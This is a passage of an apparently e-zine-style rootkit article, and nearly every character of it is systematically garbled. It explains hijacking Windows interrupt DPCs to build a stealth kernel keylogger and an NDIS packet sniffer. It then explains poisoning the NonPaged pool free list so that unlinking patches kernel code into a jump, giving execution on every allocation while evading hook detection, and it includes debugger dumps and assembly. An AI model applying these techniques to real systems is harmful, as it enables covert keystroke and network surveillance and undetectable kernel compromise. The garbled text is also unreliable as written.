;or the ke"(oard the 4P$ is :ueued (" ,eInsertXueue4*c in the
IKxXueue$urrent,e"(oardIn*ut routine called (" the ke"(oard8s I@+.

kdS dt ntP?,4P$ K0eH4-1c
Y0x000 #"*e E 1L [ 1L=4*c=(9ect
Y0x00F 5um(er E 0 88
Y0x00H Im*ortance E 0x1 88
Y0x004 4*c%ist/ntr" E ?%I@#?/5#+7 [ 0xffdffLK0 - 0xK0..L-K4
Y0x00c 4eferred+outine E 0xfaK1.-.0 0oid iK04F*rtPIK04F,e"(oardIsr4*c
Y0x010 4eferred$ontext E 0xK0eH4H(K
Y0x014 @"stem)r1ument1 E CnullD
Y0x01K @"stem)r1umentF E CnullD
Y0x01c %ock E 0xffdffLc0 -S 0
&ere is the fi1ure of the attack E
A",interru*t structure
Y---------------------Y
&ard3are Interru*t W----S A"@er0ice+outine |
| | | $alls the ori1inal |
| | | I@+ ------\
\---S I4# ---\ | | )nd modif" the 4P$ | |
| | | :ueue. | |
| | Y---------------------Y |
Y---------------------Y | |
| ,iInterru*t#em*late -----W =ri1inal ,interru*t |
Y---------------------Y Y---------------------Y |
$ore | | |
Y------------Y | @er0ice+outine R-----W
| | | Xueues the I@+8s 4P$|
|4*c%ist&ead |--\ Y---------------------Y
| | |
Y------------Y |
| Y-----Y Y-----Y Y-----Y Y-----Y
\-S 4P$ |----S| 4P$ |----S| 4P$ |----S| 4P$ |--S4*c%ist&ead
4*c%ist&eadR---| |R----| |R----| |R----| |
Y-----Y Y-----Y Y-----Y Y-----Y
W\
||
%ast 4P$ entr"
Aodified after the call
to the @er0ice+outine.

-----[ F.H.H - )**lication 1 E ,ernel ke"lo11er
It8s time to desi1n a P=$. In this sam*le 3e 3ill see ho3 to sniff
ke"(oard ke"strokes. )s "ou see *re0iousl", 3e are no3 a(le to control the
4P$ 1enerated (" an interru*t. ;or the ke"(oard 3e 3ill hi9ack the
IK04F,e"(oardIsr4*c routine 3hich is set into the 4P$8s ke"(oard
interru*tion. 'ith our o3n 4P$ handler 3e 3ill re*roduce the (eha0ior of
the ori1inal routine, unfortunatel" this kind of routine is hard to 3rite
so 3e ri**ed some *ieces of codes and used re0ersin1 techni:ues Cnotice the
laB" hacker st"leD.
In our 4P$ handler 3e must call the ,e"(oard$lass@er0ice$all(ack [FK
routine, this routine is *ro0ided (" the ,(dclass dri0er. #his call(ack
transfers in*ut data (uffer of a de0ice to the class data :ueue. ) function
ke"(oard dri0er must calls this class ser0ice call(ack in its 4P$ routine.
&ere is the ,e"(oard$lass@er0ice$all(ack8s *rotot"*e E
V=I4
,e"(oard$lass@er0ice$all(ack C
I5 P4/VI$/?=!I/$# 4e0ice=(9ect,
I5 P,/7!=)+4?I5P<#?4)#) In*ut4ata@tart,
I5 P,/7!=)+4?I5P<#?4)#) In*ut4ata/nd,
I5 =<# P<%=56 In*ut4ata$onsumed
D[
Parameters E
4e0ice=(9ect E Pointer to the class de0ice o(9ect.

In*ut4ata@tart E Pointer to the first ke"(oard in*ut data *acket in
the in*ut data (uffer of the *ort de0ice.

In*ut4ata/nd E Pointer to the ke"(oard in*ut data *acket that
immediatel" follo3s the last data *acket in the in*ut data (uffer of
the *ort de0ice.

In*ut4ata$onsumed E Pointer to the num(er of ke"(oard in*ut data
*ackets that are transferred (" the routine.

,/7!=)+4?I5P<#?4)#) is defined (" E
t"*edef struct ?,/7!=)+4?I5P<#?4)#) U
<@&=+# <nitId[
<@&=+# Aake$ode[
<@&=+# ;la1s[
<@&=+# +eser0ed[
<%=56 /xtraInformation[
V ,/7!=)+4?I5P<#?4)#), OP,/7!=)+4?I5P<#?4)#)[
@o in our 4P$ handler 3e 9ust ha0e to check the Aake$ode mem(er of the set
of ,/7!=)+4?I5P<#?4)#) structures. #he Aake$ode Cor scancodeD re*resents
the data sent (" the ke"(oard to the s"stem 3hen "ou hit or release a
ke", each ke" has it8s o3n scancode and the s"stem usuall" translates the
scancode into a character de*endin1 on "ou code *a1e. ;or exam*le the
scancode 1Ld on classical <@ ke"(oard is translated into the ke"code 8e8.
In order to kno3 if $)P@%=$, is acti0ated 3e send an I=$#% to the
functional ke"(oard de0ice (ut 3e can onl" send I=$#% at a P)@@IV/?%/V/%
I+X%. ;or that 3e use a s"stem thread 3hich 3ill sent I=$#% 3ith the
kernel )PI Io!uild4e0iceIo$ontrol+e:uest. In fact the scancodes are :ueued
in a list locked (" a s*inlock and thread s"nchroniBed 3ith a sema*hore.
#he thread is listenin1 to incomin1 ke"strokes then con0erts scancodes into
ke"codes. %ike the kernel ke"lo11er ,lo1 does [FL.
-----[ F.H.4 - )**lication F E 54I@ *acket sniffer
In the same 3a", an interru*t is raised 3hen "our net3ork card recei0es
a *acket. 'hen this kind of interru*t is raised 54I@ I@+ handler
CndisAIsrD routine launches the mini*ort I@+ interru*t handler. #he
ndisAIsr routine is used as a 3ra**er for mini*ort I@+ and 4P$. 7ou can
see in the I4# the follo3in1 entr" E
H(E K0df-414 54I@PndisAIsr C,I5#/++<P# K0df-HdKD
It means, "our I@+ handler is not called directl" 3hen an interru*t
occurs, it is the ndisAIsr routine. Aini*ort8s I@+ is called (" ndisAIsr
and the mini*ort 4P$ is also :ueued in this routine. #he 4P$ :ueued is
the ndisA4*c routine 3hich 3ra*s "our o3n 4P$ mini*ort handler. ;inall"
54I@ 3ra*s all the interru*t *rocess 3ith ndisAIsr and ndisA4*c routines on
'indo3s GP 3ith 54I@ ..1. 'e don8t kno3 if this im*lementation is still
*resent on 'indo3s Vista 3ith 54I@ -.0.
'e kno3 3e can hi9ack the ndisA4*c handler (" our o3n handler. 'ith 54I@
3e 3ill *roceed in the same 3a" (ut 3e 3ill not hook the Aini*ort4*c
routine (ut directl" hook the ndisA4*c routine. 'h"2 !ecause 3e kno3 that
ndisA4*c 3ra*s the Aini*ort4*c routine and in fact Aini*ort4*c de*ends too
much on the hard3are of the mini*ort de0ice. /ach mini*ort de0ice is
re*resented (" an 54I@?AI5IP=+#?!%=$, [H0 structure, in this structure
3e find a reference to a 54I@?AI5IP=+#?I5#/++<P structure, 3hich looks
like E
kdS dt ndisP?54I@?AI5IP=+#?I5#/++<P#
Y0x000 Interru*t=(9ect E PtrHF ?,I5#/++<P#
Y0x004 4*c$ount%ock E <int4!
Y0x00K +eser0ed E PtrHF Void
Y0x00c Aini*ortIsr E PtrHF Void
Y0x010 Aini*ort4*c E PtrHF Void
Y0x014 Interru*t4*c E ?,4P$
Y0x0H4 Aini*ort E PtrHF ?54I@?AI5IP=+#?!%=$,
Y0x0HK 4*c$ount E <$har
Y0x0HL ;iller1 E <$har
Y0x0Hc 4*cs$om*leted/0ent E ?,/V/5#
Y0x04c @haredInterru*t E <$har
Y0x04d Isr+e:uested E <$har
If 3e look at the ndisA4*c routine 3e notice that onl" the first *arameter
is used and this *arameter refers to a 54I@?AI5IP=+#?I5#/++<P# structure.
#he ndisA4*c function 3ill call the Aini*ort4*c field of this structure.
'e 9ust ha0e to hi9ack this *ointer (" our routine in order to control the
incomin1 *ackets on the s"stem.
#he 54I@ documentation s*ecifies that a mini*ort 4P$ routine must
notif" the (ound *rotocol dri0er that an that an arra" of recei0ed
*ackets is a0aila(le (" callin1 the 5disAIndicate+ecei0ePacket function
[H1.
V=I4
5disAIndicate+ecei0ePacketC
I5 54I@?&)54%/ Aini*ort)da*ter&andle,
I5 PP54I@?P)$,/# +ecei0ePackets,
I5 <I5# 5um(er=fPackets
D[
In the ndis.h header 3e ha0e E
#define 5disAIndicate+ecei0ePacketC?&, ?P, ?5D \
U \
COCCP54I@?AI5IP=+#?!%=$,DC?&DD-SPacketIndicate&andlerDC \
?&, \
?P, \
?5D[ \
V
@o in our Aini*ort4*c routine 3e 3ill hih9ack the PacketIndicate&andler,
3hich is often the eth;ilter4*rIndicate+ecei0ePacket routine in the
54I@?AI5IP=+#?!%=$, structure, in order to filter the incomin1 *ackets on
the mini*ort. )fter 3e ha0e hi9acked this *ointer 3e call the ori1inal
Aini*ort4*c routine that 3ill *rocess e0er"thin1. )fter that, 3e restore
the PacketIndicate&andler handler in the 54I@?AI5IP=+#?!%=$, for stealth
reasons. #o sum u* 3e must E
- &i9ack the routine into the 4P$ :ueued (" the ndisAIsr routine.
- 5o3 that 3e ha0e hi9acked the ndisA4*c 3e modif" the
PacketIndicate&andler into the 54I@?AI5IP=+#?!%=$, of the mini*ort.
- 'e call the ndisA4*c routine. It 3ill call the ori1inal Aini*ort4*c
handler
- #he Aini*ort4*c routine calls the 5disAIndicate+ecei0ePacket macro. =ur
filter function is called and 3e do our 9o(.
- 'hen the ndisA4*c returns 3e restore the ori1inal PacketIndicate&andler
into the 54I@?AI5IP=+#?!%=$, of the mini*ort.
'ith this filter, 3e can monitor or modif" the incomin1 *ackets. ;or
exam*le, our PacketIndicate&andler hook can search in the incomin1 *ackets
for a ta1, 3hen this ta1 his found the rootkit tri11ers a function.

---[ F.F - $onclusion a(out stealth hookin1 on I4#
In this *art 3e ha0e seen ho3 'indo3s mana1es his hard3are interru*ts ("
usin1 a 1lo(al tem*late function dedicated to all interru*ts. #he fact
that this tem*late routine his for1ed for each interru*ts is the main
*oint of this attack, 3ith that 3e can create a fake tem*late routine that
cannot (e detected directl". #he stealth of our attack remains on t3o
*oints E
- 'e modif" onl" d"namic allocated and for1ed code
- 'e hi9ack hi1hl" tem*oral d"namic allocated structures 3hich 3hen
runnin1, are al3a"s *reem*tin1 the core.
@o, e0en if the sco*e of our attack is restricted, controllin1 the hard3are
is the (est 3a" for a rk to reach critical com*onents. ;inall", 3e ha0e
9ust cheated the s"stem 3ith its o3n features and that8s the *ur*ose of a
stealth rootkit.

--[ H - =3nin1 5onPa1ed *ool usin1 stealth hookin1
+ootkit so*histication de*ends on ho3 it su(0erts the kernel. Aore
com*lex techni:ues come out as kernel and hard3are understandin1 e0ol0e.
5o3ada"s there is so man" 3a"s to su(0ert the kernel, in conse:uence
*rotections (ecome harder to defeat. 'e8re 1oin1 to *resent a different
means to 1ain control. 5ext techni:ues a**l" this a**roach to the kernel
memor" allocator.
=ur 1oal is 1ettin1 execution on e0er" 5onPa1ed allocation 3ithout usin1
an" hook. It must ("*ass an" hookin1 0erification e0en those (ased on code
*a1e com*arison or hashin1. It 3ill (e done (" modif"in1 data used (" the
allocator. 'e 9ust a**l" the conce*t of usin1 code a1ainst itself. 'e do
(elie0e that this conce*t can (e used on others com*onents and in
different 3a"s successfull".
'e 3on8t tr" to con0ince "ou that this techni:ue is *erfect. It e0ades
current *rotections and detection s"stems. #he more im*ortant is that the"
3ould need more than a sim*le modification to *re0ent and (lock an attack
(ased on kernel code (eha0ior.
---[ H.1 - ,ernel allocation la"out re0ie3
)s e0er" o*eratin1 s"stem, 'indo3s kernel *uts for3ard some functions in
order to allocate or free memor". Virtual memor" is or1aniBed as (lock of
memor" called *a1es. In Intel xK- architecture, a *a1e siBe is 40L- ("tes
and most allocations re:uests are smaller. #hus, kernel functions like
/x)llocatePool'ith#a1 and /x;reePool'ith#a1 ke*t unused memor" (locks for
next allocations. Internal functions directl" interact 3ith hard3are each
time a *a1e is needed. )ll those *rocedures are com*lex and delicate that8s
3h" dri0ers trust kernel im*lementation.
-----[ H.1.1 - 4ifference (et3een Pa1ed and 5onPa1ed *ool
,ernel s"stem memor" is di0ided in t3o different kind of *ool. It has (een
se*arated to distin1uish most used memor" (locks. #he s"stem must kno3
3hich *a1es should (e resident and 3hich can (e tem*oraril" discarded. #he
*a1e fault handler restores *a1ea(le memor" onl" 3hen I+X% is inferior of
4P$ or 4I@P)#$& le0el. Pa1ed *ool can (e *a1ed in or out of the s"stem. )
memor" (lock *a1ed out 3ill (e sa0ed on the file s"stem and so unused *art
of *a1ed memor" 3ill not (e resident in memor". 5onPa1ed *ool is *resent
in e0er" I+X% le0el and then is *ut-u*on for im*ortant tasks.
#he file *a1efile.s"s contains *a1ed out memor". It 3as attacked to in9ect
unsi1ned code into Vista kernel [HF. @ome solutions 3as discussed as
disa(lin1 kernel memor" *a1in1. Ioanna +utko3ska defended this solution as
more secure than others (ut 3ith a small *h"sical memor" loss. Aicrosoft
9ust denied ra3 disk access, 3hich ma" *ro0e that Pa1ed and 5onPa1ed
la"out is an im*ortant feature of 'indo3s kernel [HH.
#his article focuses on 5onPa1ed *ool la"out as Pa1edPool handlin1 is
totall" different. 5onPa1ed *ool can (e more or less considered as
follo3in1 a t"*ical hea* im*lementation. 6lo(al information a(out s"stem
*ool can (e found in Aicrosoft 'indo3s Internals [H4.
-----[ H.1.F - 5onPa1ed *ool ta(les
#he allocation al1orithm must (e fast allocatin1 on the most used siBes.
#hat 3h" three different ta(les exist and each one is de0oted to a siBe
ran1e. 'e found this or1aniBation in most memor" mana1ement al1orithms.
+etrie0in1 memor" (locks from hard3are takes time. 'indo3s (alances (et3een
res*onse faster and a0oid memor" 3astin1. +es*onse time (ecomes faster if
memor" (locks are stored for next allocations. In the other hand, if "ou
kee* too much memor", it can *enaliBe memor" demands.
/ach ta(le im*lements a different 3a" to store memor" (locks. 'e 3ill
*resent each ta(le and 3here "ou can find them.
#he 5onPa1ed lookaside is a *er-*rocessor ta(le co0erin1 siBe inferior or
e:ual to F.- ("tes. /ach *rocessor has a *rocessor control re1ister CP$+D
storin1 data concernin1 onl" a sin1le *rocessor like I+X% le0el, 64#, I4#.
Its extension called *rocessor control re1ion CP$+!D contains lookasides
ta(les. 5ext 3ind(1 dum* *resents 5onPa1ed lookaside ta(le and its
structure.
kdS P*cr
,P$+ for Processor 0 at ffdff000E
Aa9or 1 Ainor 1
5t#i(./xce*tion%istE K0.4K-(0
5t#i(.@tack!aseE K0.4Kef0
5t#i(.@tack%imitE K0.4-100
5t#i(.@u(@"stem#i(E 00000000
5t#i(.VersionE 00000000
5t#i(.<serPointerE 00000000
5t#i(.@elf#i(E 00000000
@elfPcrE ffdff000
Prc(E ffdff1F0
Ir:lE 00000000
I++E 00000000
I4+E ffffffff
Interru*tAodeE 00000000
I4#E K00Hf400
64#E K00Hf000
#@@E K004F000
$urrent#hreadE K0..1LF0
5ext#hreadE 00000000
Idle#hreadE K0..1LF0
4*cXueueE 0xK0..1fK0 0xK04ffFLc
kdS dt ntP?,P+$! ffdff1F0
[...
Y0x.a0 PP5Pa1ed%ookaside%ist E [HF
Y0x000 P E 0xK1Lc-000 ?6/5/+)%?%==,)@I4/
Y0x004 % E 0xK0.4dd00 ?6/5/+)%?%==,)@I4/
[...
kdS dt ntP?6/5/+)%?%==,)@I4/
Y0x000 %ist&ead E ?@%I@#?&/)4/+
Y0x00K 4e*th E <intF!
Y0x00a Aaximum4e*th E <intF!
Y0x00c #otal)llocates E <int4!
Y0x010 )llocateAisses E <int4!
Y0x010 )llocate&its E <int4!
Y0x014 #otal;rees E <int4!
Y0x01K ;reeAisses E <int4!
Y0x01K ;ree&its E <int4!
Y0x01c #"*e E ?P==%?#7P/
Y0x0F0 #a1 E <int4!
Y0x0F4 @iBe E <int4!
Y0x0FK )llocate E PtrHF 0oidO
Y0x0Fc ;ree E PtrHF 0oid
Y0x0H0 %ist/ntr" E ?%I@#?/5#+7
Y0x0HK %ast#otal)llocates E <int4!
Y0x0Hc %ast)llocateAisses E <int4!
Y0x0Hc %ast)llocate&its E <int4!
Y0x040 ;uture E [F <int4!

%ookaside ta(les *ermit faster (lock retrie0in1 than t"*ical dou(le linked
list. ;or this o*timiBation lock time is reall" im*ortant and a sin1le
linked list is a faster mechanism than soft3are lockin1.
/xInterlockedPo*/ntr"@%ist function is used to *o* an entr" from a sin1le
linked list usin1 hard3are lockin1 instruction >lock>.
PP5Pa1ed%ookaside%ist is the lookaside ta(le 3e 3ere talkin1 a(out. It
contains t3o lookaside lists P and %. 4e*th field of the 6/5/+)%?%==,)@I4/
structure defines ho3 man" entries can (e in %ist&ead sin1le list. #he
s"stem u*dates re1ularl" the de*th usin1 different counters. #he u*date
al1orithm is (ased on *rocessor num(er and is different for P and %. 4e*th
of the P list is u*dated more fre:uentl" than % list as it o*timiBes
*erformances on 0er" small (locks.
#he second ta(le de*ends ho3 man" *rocessors are used and ho3 s"stem
mana1ed them. )llocation s"stem 3alk it if siBe is inferior or e:ual to
40K0 ("tes or if lookaside research failed. /0en if tar1et ta(le can
chan1e, it al3a"s has the same P==%?4/@$+IP#=+ structure. =n sin1le
*rocessor, a 0aria(le called PoolVector is used to retrie0e
5onPa1edPool4escri*tor *ointer. =n multi *rocessor, the
/x*5onPa1edPool4escri*tor ta(le has 1- slots containin1 *ool descri*tors.
/ach *rocessor P+$! *oints on a ,5=4/ structure. ) node can (e linked on
more than one *rocessor and contains a color field used as an index in
/x*5onPa1edPool4escri*tor. 5ext fi1ures illustrate this al1orithm.
PoolVector
Y------------Y
| 5onPa1ed | --------------S 5onPa1edPool4escri*tor
|------------Y
| Pa1ed |
Y------------Y
[ ;i1ure 1 - @in1le *rocessor *ool descri*tor
Processor #1
Y------------Y
| | /x*5onPa1edPool4escri*tor
| P+$! ------\ Y-------------------Y
| | | W---------S @%=# #01 |
Y------------Y | | | @%=# #0F |
W---------W | | @%=# #0H |
| ,5=4/ | | @%=# #04 |
|---S Y------------Y | | @%=# #0. |
| | Proc mask | | | @%=# #0- |
| | color C01D --W | @%=# #0J |
| | ... | | @%=# #0K |
| Y------------Y | @%=# #0L |
| | @%=# #10 |
\---------\ | @%=# #11 |
Processor #F | | @%=# #1F |
Y------------Y | | @%=# #1H |
| | | | @%=# #14 |
| P+$! ------W | @%=# #1. |
| | | @%=# #1- |
Y------------Y Y-------------------Y
[ ;i1ure F - Aulti*le *rocessor *ool descri*tor
) 1lo(al 0aria(le /x*5um(er=f5onPa1edPools defines if multi *rocessor case
is used. It should reflect *rocessor num(er (ut it can chan1e (et3een
o*eratin1 s"stem 0ersions.
#he next dum* sho3s P==%?4/@$+IP#=+ structure from 3ind(1.
kdS dt ntP?P==%?4/@$+IP#=+
Y0x000 Pool#"*e E ?P==%?#7P/
Y0x004 PoolIndex E <int4!
Y0x00K +unnin1)llocs E <int4!
Y0x00c +unnin14e)llocs E <int4!
Y0x010 #otalPa1es E <int4!
Y0x014 #otal!i1Pa1es E <int4!
Y0x01K #hreshold E <int4!
Y0x01c %ock)ddress E PtrHF Void
Y0x0F0 Pendin1;rees E PtrHF Void
Y0x0F4 Pendin1;ree4e*th E Int4!
Y0x0FK %ist&eads E [.1F ?%I@#?/5#+7
Xueued s*inlock s"nchroniBation, *art of &)% li(rar", is used to restrict
concurrenc" on a *ool descri*tor. It assures that onl" one thread and one
*rocessor 3ill access and unlink an entr" from a *ool descri*tor. &)%
li(rar" chan1es on different architectures and 3hat is a sim*le I+X%
raisin1 on sin1le *rocessor (ecomes a more com*lex :ueued s"stem on
multi-*rocessor. ;or default *ool descri*tor, 1eneral 5onPa1ed :ueued
s*inlock is locked C%ockXueue5onPa1edPool%ockD. /lse, a custom :ueued
s*inlock is created.
#he third and last ta(le is shared (" *rocessors for siBe su*erior of 40K0
("tes. Am5onPa1edPool;ree%ist&ead is also used 3hen others ta(les lack
memor". It com*osed (" 4 %I@#?/5#+7 each one re*resentin1 a *a1e num(er,
exce*t for the last one 3hich holds all su*eriors *a1es ke*t (" the s"stem.
)ccess to this ta(le is 1uarded (" 1eneral non *a1ed :ueued s*inlock
also called %ockXueue5onPa1edPool%ock. 4urin1 the free *rocedure of a
smaller (lock, /x;reePool'ith#a1 mer1es it 3ith *re0ious and next free
(locks. It can create a (lock su*erior or e:ual to 1 *a1e. In this case,
the ne3 (lock is added in the Am5onPa1edPool;ree%ist&ead ta(le.
-----[ H.1.H - )llocation and free al1orithms
,ernel allocation does not chan1e that much (et3een =@ 0ersions (ut its
al1orithm is as hard as the userland hea* one. In this *art, 3e 3ant to
illustrate (asic (eha0ior (et3een ta(les durin1 allocation or free
*rocedures. ) lot of details ha0e (een thro3n a3a" such as s"nchroniBation
mechanisms. #hose al1orithms 3ill hel* "ou for the techni:ue ex*lanation
(ut also understandin1 the (asic elements of kernel allocation. 4es*ite
kernel ex*loitation is not *art of this *a*er, *ool o0erflo3 is an
interestin1 to*ic that needs understandin1 of some *art of this al1orithm.
5onPa1ed *ool allocation al1orithm C/x)llocatePool'ith#a1DE
I; [ @iBe S 40K0 ("tes
[
- $all the Ai)llocatePoolPa1es function
- 'alk Am5onPa1edPool;ree%ist&ead %I@#?/5#+7 ta(le.
- +etrie0e memor" from hard3are if necessar".
- +eturn memor" *a1e ali1ned C3ithout headerD.

I; [ @iBe R= F.- ("tes
[
- Po* entr" from PP5Pa1ed%ookaside%ist ta(le.
- If somethin1 is found return memor" (lock.

I; [ /x*5um(er=f5onPa1edPools S 1
- Pool4escri*tor from /x*5um(er=f5onPa1edPools and used index
comes from P+$! ,5=4/ color.
/%@/
- Pool4escri*tor is PoolVector first entr", desi1ned (" s"m(ol
as 5onPa1edPool4escri*tor.
;=+/)$& [ S= @iBe entr" of Pool4escri*tor.%ist&eads
[
I; [ /ntr" is not em*t"
[
- <nlink entr" and s*lit it if needed
- +eturn memor" (lock


- $all the Ai)llocatePoolPa1es function
- 'alk Am5onPa1edPool;ree%ist&ead %I@#?/5#+7 ta(le..
- @*lit it correctl" to the ri1ht siBe
- +eturn ne3 memor" (lock
5onPa1ed *ool free al1orithm C/x;reePool'ith#a1D E
I; [ Aemor"!lock is *a1e ali1ned
[
- $all the Ai;reePoolPa1es function
- 4etermine (lock t"*e CPa1ed or 5onPa1edD
- 4e*endin1 on ho3 man" (locks are ke*t in
Am5onPa1edPool;ree%ist&ead, 3e release it to the hard3are.

/%@/
[
- Aer1e *re0ious and next (lock if *ossi(le
I; [ 5e3Aemor"!lock siBe R= F.- ("tes
[
- %ook at PP5Pa1ed%ookaside%ist entr" de*th and see if 3e
should kee* it.
- 'e return if memor" (lock is *ushed into lookaside list

I; [ 5e3Aemor"!lock siBe R= 40K0 ("tes
[
- <se P==%?&/)4/+ PoolIndex 0aria(le to determine 3hich
Pool4escri*tor must (e used.
- Insert it in the *ro*er %I@#?/5#+7 arra" entr"
- If an"thin1 1oes 3ell, return

- 4e*endin1 on ho3 man" (locks are ke*t in
Am5onPa1edPool;ree%ist&ead, 3e release it to the hard3are.

Pa1ed *ool al1orithm is 0er" different es*eciall" for *a1e ali1ned (locks.
@maller siBe mana1ement should (e not that far from 5onPa1ed (ut in
assem(l" code 3e definitel" sa3 that 5onPa1ed and Pa1ed *ool are totall"
se*arated. =nce "ou kno3 a little more a(out ho3 5onPa1ed allocation 3orks,
3e can no3 talk a(out ex*loitation *art.
---[ H.F - 6ettin1 code execution a(usin1 allocation code
=ur main 1oal is 1ettin1 code execution on e0er" allocation attem*ts for
5onPa1ed *ool onl". #his result must (e done onl" (" chan1in1 data used ("
tar1eted code. =ur *ur*ose is *ro0in1 that kernel code can ser0e our
interest onl" (" chan1in1 t"*ical data en0ironment. =ur 3ork is (ased
on a ne3 rootkit de0elo*ed to 1ain control o0er 5onPa1ed allocation.
'e start 3ith 1ettin1 code execution for allocation su*erior or e:ual
to 1 *a1e. )s 3e sa3 on *re0ious *art, it concerns the third and last
ta(le.
-----[ H.F.1 - 4ata corru*tion of Am5onPa1edPool;ree%ist&ead
Am5onPa1edPool;ree%ist&ead conser0es *a1e ali1ned memor" (locks to s*eed u*
memor" allocation. It links held memor" (lock usin1 a %I@#?/5#+7 structure.
#his structure is common and use in 'indo3s hea* li(rar" for exam*le.
kdS dt ntP?%I@#?/5#+7
Y0x000 ;link E PtrHF ?%I@#?/5#+7
Y0x004 !link E PtrHF ?%I@#?/5#+7
Am5onPa1edPool;ree%ist&ead access is *rotected (" 1eneral 5onPa1ed :ueued
s*inlock %ockXueue5onPa1edPool%ock. It assures that onl" one thread and
*rocessor can look and modif" this structure.
@o 3e need a 3a" to 1et control o0er allocation and unlinkin1 *rocedure
seems *erfect. 'e can *oison this linked list 3ith a fake entr", 3ith the
hi1hest siBe *ossi(le, 3hich unlinkin1 3ill modif" current executed code.
)t kernel le0el, "ou can modif" code as data 3ithout an" *rotection issues.
<nlinkin1 3as used 3hen hea* ex*loitation started [F0 (ut modif"in1 code
3as not *ossi(le from userland. )s s*inlock assures us exclusi0it", there
is no risk on some race condition. #he created >hook> 3ould (e d"namic and
code restored directl". Pa1e 1uard *rotection re0erse [1K sho3s that code
is onl" checked e0er" . minutes. 'hether a modification is found, real code
is 9ust re*laced.
#his method has *lent" assets (ut also a lot of o(stacles. %et start ("
enumeratin1 all those o(stacles E
- =n a (asic im*lementation of unlinkin1, list (ecome un3alka(le.
It (reaks most utiliBation of the ta(le.
- Pass throu1h *a1e cleanin1 methods and al3a"s (e the first (lock on the
list other3ise 3e could miss some call.
- 'e (reak code *ath and sooner or later 3e must return as if our
hi9ackin1 has ne0er (een there and e0er"thin1 1oes fine.
- Processor *refetch make self code modification dan1erous.
<nlinkin1 1i0es us 4 ("tes o0er3ritin1 to (uild an o*code and create a
redirection. In our case, 3e influenced current context and a re1ister
should *oint to the unlinked entr". 'e said should *oint 3ithout choosin1 a
sin1le re1ister (ecause kernel chan1es (et3een 0ersions or ser0ice *acks.
)s soon as 3e discuss context, 3e 3ill sta" talkin1 a(out 1eneral
situations. 'e choose to make a 9m* [re1YGG 3hich is ;;-0GG in hex.
#his techni:ue effecti0eness lies on kee*in1 the Am5onPa1edPool;ree%ist&ead
3alka(le. ) dou(le linked list, as %I@#?/5#+7, is 3alka(le if ;link is
correct. #herefore 3e can choose an address for ;link as 0xGGGG-0;; and
!link 3ill *oint to the code address. #he Intel xK- architecture usin1
little endian our address is :uite eas" to found, 3e must check o*code
offset and discard too close *ossi(ilities. 5ext fi1ure illustrates a
*oisoned entr".
Am5onPa1edPool;ree%ist&ead[i
W------S Y--------------------Y
| | ;link | ---\
| |--------------------| |
| R---- | !link | |
| Y--------------------Y |
| | ... | |
| Y--------------------Y |
| W-------------------------------W
| |
| | Poisoned entr"
| | Y--------------------Y
| | | Pre0ious@iBe E - |
| | Y--------------------Y
| | | PoolIndex E - |
| | Y--------------------Y
| | | Pool#"*eE 5onPa1ed |
| | Y--------------------Y
| | | !lock@iBe E i |
| | Y--------------------Y
| | | Pool#a1 E - |
| \---S Y--------------------Y
| | ;link E 0x77GG-0;; | R--\
| |--------------------| |
| G--- | !link E 0xK0777777 | |
| Y--------------------Y |
| |
| W-------------------------------W
| | ;ake entr" C0x77GG-0;;D
| | Y--------------------Y
| | | Pre0ious@iBe E - |
| | Y--------------------Y
| | | PoolIndex E - |
| | Y--------------------Y
| | | Pool#"*eE 5onPa1ed |
| | Y--------------------Y
| | | !lock@iBe E R i |
| | Y--------------------Y
| | | Pool#a1 E - |
| |---S Y--------------------Y
| | | ;link E 0xK0..... | ---\
| | |--------------------| |
| \---- | !link E Poisoned | |
| Y--------------------Y |
\--------------- [... ------------W
<nlinkin1 instruction E mo0 [0xK0777777, 0x77GG-0;;
5e3 =*code after unlinkin1 E 9m* [re1YGG C;; -0 GGD
[ ;i1ure H - Poisoned dou(le linked list

#his fi1ure sho3s a Am5onPa1edPool;ree%ist&ead entr" la"out that assures
*redicted unlinkin1 and then code execution. 'e must maintain this la"out
or 3e 3ill lose our *osition. 5onPa1ed (locks come from t3o different
0irtual memor" ran1es. #he second memor" re1ion start is stored in
Am5onPa1edPool/x*ansion@tart. ) cleanin1 function is called sometime to
free (locks from the ex*ansion 5onPa1ed *ool. #o a0oid this cleanin1, 3e
can use a Pa1ed *ool (lock locked. 7ou can lock a memor" (lock 3ith the
AmPro(e)nd%ockPa1es function. #his lock makes descri(ed memor" re1ion as
resident. )nother more discreet 3a" is to rema* a 5onPa1ed (lock 3ith the
function AmAa*%ockedPa1es@*ecif"$ache. It is more discrete (ecause this
ma**in1 3ould (e 9ust (efore ex*ansion 5onPa1ed *ool memor" ran1e. <sin1
a locked Pa1ed *ool (lock creates an address totall" differentl". ) :uick
look at those addresses (et3een 5onPa1ed ones sho3 a clear difference.
)s 0irtual memor" is 0er" lar1e, it does not take too much time to find
an address like 0x77GG-0;;. 'e 3ill not unlock those *a1es until our
techni:ue is runnin1.
#o defeat code *ath issues 3e differentiate t3o different states. #he first
state is 3hen our (lock is selected. #he second state is 3hen our (lock is
unlinked. If 3e 3ere a(le to return to the first ste* 3ith our next fake
entr" selected, 3e could continue 3alkin1 code as normal. 'e achie0e that
(" usin1 a 1eneric a**roach. )t I+X% e:ual to 4I@P)#$&?%/V/%, 3e corru*t a
Am5onPa1edPool;ree%ist&ead entr" 3ith some in0alid *ointers. 'ith a hook on
the *a1e fault handler 3e are ca*a(le to see first and second sta1es,
restore the ri1ht context each time and sa0e context difference (et3een
those states.
)ssem(l" dum* from Ai)llocatePoolPa1es E
lea eax, [esiYK [ @ta1e #1 esi is selected (lock and esiYK its siBe
cm* [eax, e(x [ $heck 3ith needed siBe
mo0 ecx, esi
9n( loc?4J014!
[...

loc?4J014!E
su( [esiYK, e(x
mo0 eax, [esiYK
shl eax, 0$h
add eax, esi
cm* ?AmProtect;reed5onPa1edPool, 0 [ Protected mode, don8t care
mo0 [e(*Yar1?4, eax
9nB short loc?4J01-/
mo0 eax, [esi [ \ @ta1e #F
mo0 ecx, [esiY4 [ | <nlinkin1
mo0 [ecx, eax [ | *rocedure
mo0 [eaxY4, ecx [ W
9m* short loc?4J01J4
5o3 let8s see ho3 it 3orks durin1 our test techni:ue 3ith interru*t fault
handler Cint 0x/D hooked E
lea eax, [esiYK
[ @ta1e #1 - $heck 3ith needed siBe
cm* [eax, e(x [ ----S P)6/ ;)<%# esi = 0x)))))))) | eax = esi Y K
[ - 'e kee* /IP and all re1isters
[ - @can all re1isters for 0x)))))))) YW- K
[ and correct the current context. $ontinue.
mo0 ecx, esi
9n( loc?4J014!
[...

loc?4J014!E
su( [esiYK, e(x
mo0 eax, [esiYK
shl eax, 0$h
add eax, esi
